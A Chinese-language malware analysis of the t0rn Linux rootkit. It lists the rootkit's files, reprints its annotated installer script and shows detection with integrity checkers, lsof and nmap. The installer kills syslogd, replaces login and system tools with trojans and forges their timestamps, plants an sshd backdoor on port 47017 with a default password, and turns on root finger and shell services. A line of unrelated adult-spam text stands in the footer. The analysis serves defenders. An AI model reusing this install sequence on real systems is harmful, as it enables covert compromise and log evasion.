• <ruby id="5koa6"></ruby>
    <ruby id="5koa6"><option id="5koa6"><thead id="5koa6"></thead></option></ruby>

    <progress id="5koa6"></progress>

  • <strong id="5koa6"></strong>
  • Rootkit分析:t0rn

    發表于:2007-07-02來源:作者:點擊數: 標簽:
    簡介 t0rn是一個 lr n風格的 Linux 特洛伊木馬,作者j0hnny7 / zho-d0h。2001年4月左右引起世界關注的 獅子蠕蟲 的第一版就使用了這個rootkit。本文將對這個rootkit進行分析,以及如何對其進行檢測。 t0rn采用二進制方式進行散發,因此攻擊者可以非常容易地
    簡介


    t0rn是一個lrn風格的Linux特洛伊木馬,作者j0hnny7 / zho-d0h。2001年4月左右引起世界關注的獅子蠕蟲的第一版就使用了這個rootkit。本文將對這個rootkit進行分析,以及如何對其進行檢測。

    t0rn采用二進制方式進行散發,因此攻擊者可以非常容易地將其安裝到Linux系統中,只要執行./t0rn就可以了。在其二進制發布包中除了一組系統應用程序的特洛伊版本外,還包括一個日志清理程序t0rnsb,一個嗅探器程序t0rns和一個日志語法分析程序t0rnp。

    細節


  • t0rn的組成

    我們首先看一看t0rn的包含的文件,各個文件的屬性以及它們的作用:

      drwxr-xr-x 4096 .t0rn
      drwxr-xr-x 4096 dev
      --------以下是特洛伊木馬程序------------
      -rwxr-xr-x 22460 du
      -rwxr-xr-x 57452 find
      -rwxr-xr-x 32728 ifconfig
      -rwxr-xr-x 6408 in.fingerd
      -rwxr-xr-x 3964 login
      -rwxr-xr-x 39484 ls
      -rwxr-xr-x 53364 netstat
      -rwxr-xr-x 31336 ps
      -rwxr-xr-x 13184 pstree
      -rw-r--r-- 100424 ssh.tgz<--就是.t0rn目錄的壓縮包。
      -rwxr-xr-x 266140 top
      -------以上是特洛伊木馬程序-----------
      -rwxr-xr-x 4568 pg<--對密碼進行處理
      -rwxr-xr-x 1382 sz<--shell腳本文件,處理特洛伊木馬程序的大小。t0rn rootkit使用這個腳本在木馬程序中填加0,使其大小等于被替代的系統程序,作者:Tragedy/Dor。
      -rwxr-xr-x 7877 t0rn<--shell腳本文件,用于啟動t0rn rootkit。
      -rwxr-xr-x 7578 t0rnp<--perl腳本文件,作者Jav。用于為LinSniffer的輸出進行排序。
      -rwxr-xr-x 6948 t0rns<--網絡嗅探器程序,可能就是LinSniffer或者其變體,理由在上面。^_^
      -rwxr-xr-x 1345 t0rnsb<--shell腳本文件,用于日志清理。原名sauber,作者:socked。
      -rw-r--r-- 3095 tornkit-README<--當然是教唆文件了。:)
      -rw-r--r-- 197 tornkit-TODO<--將要改進的特征,可是現在還沒有看到過新版的t0rn。

      ./.t0rn:
      -rwxr-xr-x 201552 sharsed<--為其提供NIS或者DNS緩存服務的程序,可能就是一個nscd程序。
      -rw-r--r-- 488 shdcf2<--默認的sshd配置文件
      -rw-r--r-- 524 shhk<--ssh的私鑰
      -rw-r--r-- 328 shhk.pub<--ssh的公鑰
      -rw-r--r-- 512 shrs<--保存隨機種子(Random Seed)的文件
        
      ./dev:
      -rw-r--r-- 19 .1addr
      -rw-r--r-- 72 .1file
      -rw-r--r-- 21 .1logz
      -rw-r--r-- 38 .1proc

    安裝完成之后,還會產生一個保存密碼密文的文件/etc/ttyhash。

  • 安裝目錄

    t0rn rootkit安裝完成之后,會在系統中建立以下目錄:

      /usr/src/.puta/<--保存t0rns、t0rnsb和t0rnp等可執行程序以及.1addr、.1file、.1logz、.1proc等文件。
      /usr/info/.t0rn/<--保存sshd相關的文件。


  • t0rn的執行流程

    在t0rn rootkit所有的文件中,t0rn腳本是整個rootkit的樞紐,因此我們將詳細介紹一下這個腳本的執行流程,這個腳本里面有很多噱頭,我對其進行了刪減,下面的代碼是修改之后的代碼。你可以從t0rn的發布包中獲得其完整的代碼。

      #!/bin/sh

      killall -9 syslogd
      #殺死syslogd,以免在日志中留下記錄。

      bla2=`pwd`
      #記錄起始目錄,以便安裝完成后,從這個目錄刪除。

      if [ "`grep in.inetd /etc/rc.d/rc.sysinit`" ]; then
         echo "t0rnkit probably installed on machine [Alert]"
      else
      echo ""
      fi
      #檢查是否系統中已經安裝了t0rn rootkit

      SYSLOGCONF="/etc/syslog.conf"
      REMOTE=`grep -v "^#" "$SYSLOGCONF" | grep -v "^$" | grep "@" | cut -d @#@@# -f 2`
      #檢測系統日志是否被記錄到其它主機。

      if test -n "$1" ; then
      echo "Using Password :"
      cd $bla2
      ./pg $1 > /etc/ttyhash
      else
      echo "No Password Specified, using default - t0rnkit"
      ./pg t0rnkit >/etc/ttyhash
      fi
      #檢查用戶是否設置密碼,如果用戶沒有設置密碼,就使用t0rnkit作為密碼。使用pg對密碼進行加密,保存為/etc/ttyhash。

      if test -n "$2" ; then
      tar xfz ssh.tgz
      echo "Port $2" >> .t0rn/shdcf
      echo "3 $2" >> dev/.1addr
      cat .t0rn/shdcf2 >> .t0rn/shdcf ; rm -rf .t0rn/shdcf2
      else
      tar xfz ssh.tgz
      echo "Port 47017" >> .t0rn/shdcf
      echo "3 $2" >> dev/.1addr
      cat .t0rn/shdcf2 >> .t0rn/shdcf ; rm -rf .t0rn/shdcf2
      fi
      #解壓ssh.tgz文件。檢查用戶是否設置了sshd使用的后門端口,如果沒有設置就使用47017作為默認的后門端口。把端口號記錄到dev/.1addr文件,并加入到.t0rn/shdcf文件中。最后把.t0rn/shdcf2中的默認設置填加到.t0rn/shdcf文件中,將其刪除。

      touch -acmr /bin/login login
      #修改木馬login的時間戳,使其和系統原來的login相同
      ./sz /bin/login login
      mv -f /bin/login /sbin/xlogin
      mv -f login /bin/login
      chmod 4555 /bin/login
      #用木馬login程序替換原來的login,并把真正的login保存為/sbin/xlogin。

      mkdir -p /usr/src/.puta/
      mkdir -p /usr/info/.t0rn/
      cp dev/.1addr /usr/src/.puta/
      cp dev/.1file /usr/src/.puta/
      cp dev/.1logz /usr/src/.puta/
      cp dev/.1proc /usr/src/.puta/

      mv .t0rn/sh* /usr/info/.t0rn/
      mv /usr/info/.t0rn/sharsed /usr/sbin/nscd
      /usr/sbin/nscd -q
      echo "# Name Server Cache Daemon..">> /etc/rc.d/rc.sysinit
      echo "/usr/sbin/nscd -q" >> /etc/rc.d/rc.sysinit
      #在系統中加入一個nscd程序,并使其每次系統啟動時,自動運行。nscd主要用于為DNS或者NIS提供高速緩存服務,以加快訪問速度。這一步做的不是很小心:)

      touch -acmr /sbin/ifconfig ifconfig
      touch -acmr /bin/ps ps
      touch -acmr /usr/bin/du du
      touch -acmr /bin/ls ls
      touch -acmr /bin/netstat netstat
      touch -acmr /usr/sbin/in.fingerd in.fingerd
      touch -acmr /usr/bin/find find
      touch -acmr /usr/bin/top top
      #修改木馬ps/top/du/ls/netstat/in.fingerd的時間戳特性

      mv -f in.fingerd /usr/sbin/in.fingerd
      mv -f ps /bin/ps
      mv -f ifconfig /sbin/ifconfig
      mv -f du /usr/bin/du
      mv -f netstat /bin/netstat
      mv -f top /usr/bin/top
      mv -f ls /bin/ls
      mv -f find /usr/bin/find
      #使用特洛伊木馬程序替換系統原來的程序。

      cd $bla2
      mv t0rns /usr/src/.puta/t0rns
      mv t0rnp /usr/src/.puta/t0rnp
      mv t0rnsb /usr/src/.puta/t0rnsb
      cd /usr/src/.puta
      ./t0rns
      #把嗅探器程序t0rns,語法分析程序t0rnp和日志清理程序t0rnsb復制到其工作目錄,然后啟動嗅探器程序t0rns。

      sed "s/^#telnet/telnet/" /etc/inetd.conf > /tmp/.pinespool ; touch -acmr /etc/inetd.conf /tmp/.pinespool; mv -f /tmp/.pinespool /etc/inetd.conf
      sed "s/^#shell/shell/" /etc/inetd.conf > /tmp/.pinespool ; touch -acmr /etc/inetd.conf /tmp/.pinespool ;mv -f /tmp/.pinespool /etc/inetd.conf
      sed "s/^# telnet/telnet/" /etc/inetd.conf > /tmp/.pinespool ; touch -acmr /etc/inetd.conf /tmp/.pinespool; mv -f /tmp/.pinespool /etc/inetd.conf
      sed "s/^# shell/shell/" /etc/inetd.conf > /tmp/.pinespool ; touch -acmr /etc/inetd.conf /tmp/.pinespool ;mv -f /tmp/.pinespool /etc/inetd.conf
      sed "s/^#finger/finger/" /etc/inetd.conf > /tmp/.pinespool ; touch -acmr /etc/inetd.conf /tmp/.pinespool; mv -f /tmp/.pinespool /etc/inetd.conf
      sed "s/^# finger/finger/" /etc/inetd.conf > /tmp/.pinespool ; touch -acmr /etc/inetd.conf /tmp/.pinespool; mv -f /tmp/.pinespool /etc/inetd.conf
      sed @#/finger/s/nobody/root/g@# /etc/inetd.conf > /tmp/.pinespool ; touch -acmr /etc/inetd.conf /tmp/.pinespool; mv -f /tmp/.pinespool /etc/inetd.conf
      #修改/etc/inet.conf文件,使inet能夠提供telnet、shell和finger服務,并且將finger的運行權限由nobody改為root,在改動過程中維持/etc/inet.conf文件的時間戳特性。


      killall inetd
      /usr/sbin/inetd
      #重新啟動inetd,使修改的設置生效。

      cd $bla2
      cd ../
      rm -rf tk*
      #打掃戰場,刪除原來的東西。

      if [ -f /usr/sbin/syslogd ] ; then
      /usr/sbin/syslogd
      else
      /sbin/syslogd
      fi
      #重新啟動syslogd


    檢測


    t0rn安裝后,比較難以檢測,因為ps、top、du、ls和netstat等程序都被替換掉了??梢圆扇∫韵罗k法來檢測、清除t0rn rootkit。

  • 使用數據完整性檢測工具

    這時最簡單,也是最為有效的一種方法。在系統安裝完畢,以及修改系統配置之后,使用trip_wire或者aide等數據完整性檢測工具對系統配置文件、可執行文件以及其它重要文件進行校驗,把校驗結果數據庫放在一個安全的地方。如果發生系統被入侵或者被病毒感染等情況,通過校驗結果數據庫很容易找出被修改的文件。這些工具使用的校驗方法非常強大、豐富,非常難以偽造,因此有非常高的可靠性。這種方法適用性非常廣泛,也非常簡單,但是卻非常容易被忽視。

  • lsof

    t0rn rootkit的作者不知是有意還是無意,忽略了一個很重要的工具:lsof,這是他的一個失策。使用lsof很容易查出t0rn的蛛絲馬跡。

      #lsof|grep LISTEN<--列出有進程監聽的端口

      nscd 107 root 8u IPv4 110 TCP *:47017 (LISTEN)<--露餡了:)
      inetd 370 root 5u IPv4 329 TCP *:ftp (LISTEN)
      inetd 370 root 6u IPv4 330 TCP *:telnet (LISTEN)
      inetd 370 root 7u IPv4 331 TCP *:shell (LISTEN)
      inetd 370 root 9u IPv4 332 TCP *:finger (LISTEN)
      inetd 370 root 10u IPv4 333 TCP *:linuxconf (LISTEN)

      #lsof |grep t0rn<--列出所有被t0rn使用的文件描述符

      t0rns 557 root cwd DIR    3,1 0 51920 /home/tmiller/tk (del
      eted)
      t0rns 557 root rtd DIR 3,1 4096 2 /
      t0rns 557 root txt REG 3,1 6948 51927 /usr/src/.puta/t0rns
      t0rns 557 root mem REG 3,1 25034 19113 /lib/ld-linux.so.1.9.
      5
      t0rns 557 root mem REG 3,1 699832 64363 /usr/i486-linux-libc5
      /lib/libc.so.5.3.12
      t0rns 557 root 0u sock 0,0 489 can@#t identify protoc
      ol
      t0rns 557 root 1w REG 3,1 0 51963 /home/tmiller/tk/syst
      em (deleted)
      t0rns 632 root cwd DIR 3,1 4096 36547 /usr/src/.puta
      t0rns 632 root rtd DIR 3,1 4096 2 /
      t0rns 632 root txt REG 3,1 6948 51927 /usr/src/.puta/t0rns
      t0rns 632 root mem REG 3,1 25034 19113 /lib/ld-linux.so.1.9.
      5
      t0rns 632 root mem REG 3,1 699832 64363 /usr/i486-linux-libc5
      /lib/libc.so.5.3.12
      t0rns 632 root 0u sock 0,0 533 can@#t identify protoc
      ol
      t0rns 632 root 1w REG 3,1 0 34668 /usr/src/.puta/system

    然后,就可以清理了。

  • nmap

    SANS研究中心的Toby Miller提出了使用nmap來檢測t0rn rootkit。使用nmap對可疑的主機進行端口掃描,很容易找出t0rn打開的監聽端口47017。


    結論


    t0rn rootkit出現已經好長時間了,其發布形式雖然為安裝提供了很大的方面,但是也造成了一個很大的缺陷,就是這個rootkit的可移植性非常差。它不能在比較新的Linux系統上(例如:RedHat7.x)順利運行,主要原因就是它的一些程序(t0rns、ls、find、du、ps)是基于libc5的,在基于glibc的系統上運行會出現:bash2:./ls:No such file or directory的錯誤信息。
  • 原文轉自:http://www.kjueaiud.com

    老湿亚洲永久精品ww47香蕉图片_日韩欧美中文字幕北美法律_国产AV永久无码天堂影院_久久婷婷综合色丁香五月

  • <ruby id="5koa6"></ruby>
    <ruby id="5koa6"><option id="5koa6"><thead id="5koa6"></thead></option></ruby>

    <progress id="5koa6"></progress>

  • <strong id="5koa6"></strong>